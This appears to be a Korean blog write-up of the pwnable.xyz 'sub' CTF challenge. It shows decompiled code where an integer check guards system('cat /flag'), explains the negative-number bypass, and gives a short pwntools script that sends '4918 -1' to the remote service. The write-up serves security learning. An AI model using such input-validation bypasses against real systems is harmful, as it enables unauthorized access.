728x90
1번문제는 welcome이라는 문제인데 생각보다 어려워서 두번째 문제인 sub부터 시작한다.
첨부파일을 ida로 까보면, 잘 보인다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-18h]
int v5; // [rsp+4h] [rbp-14h]
unsigned __int64 v6; // [rsp+8h] [rbp-10h]
v6 = __readfsqword(0x28u);
sub_A3E(a1, a2, a3);
v4 = 0;
v5 = 0;
_printf_chk(1LL, "1337 input: ");
_isoc99_scanf("%u %u", &v4, &v5);
if ( v4 <= 4918 && v5 <= 4918 )
{
if ( v4 - v5 == 4919 )
system("cat /flag");
}
else
{
puts("Sowwy");
}
return 0LL;
}
우선 플래그가 나오는 조건인 cat/ flag 위의 if문을 보자.
변수 v4와 v5의 차이가 4919이어야 하고, 상위 if문은 v4, v5가 각각 4918보다 작거나 같아야 한다고 되어있다.
맨 위로 돌아가서, v4, v5가 선언된 부분을 보면, 정수형으로 선언되어있고 각각 0으로 초기화 되었다가 scanf함수에서
첫 번째로 입력한 정수는 v4로 들어가고, 두 번째로 입력한 정수는 v5로 들어간다.
그러면 페이로드는 첫 번째 입력값에 4918, 두 번째 입력값에 -1이 들어가도록 작성하면 된다.
pwntool로도 풀어보자.
from pwn import *
p = remote("svc.pwnable.xyz", 30001) (remote>> nc 접속 명령어)
print p.recv(11) #프로그램이 출력하는 값을 봐야할때(이땐 11바이트만 받는다)
p.send("4918 -1") #페이로드를 보내는 명령어
p.interactive() #쉘 접속 (bash랑 같은거)
pwntool 처음써볼때 푸는 문제인것 같다.
728x90
'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] two targets (0) | 2020.09.26 |
---|---|
[pwnable.xyz] note (0) | 2020.09.14 |
[pwnable.xyz] grownup (0) | 2020.09.12 |
[pwnable.xyz] misalignment (0) | 2020.09.10 |
[pwnable.xyz] add (2) | 2020.09.09 |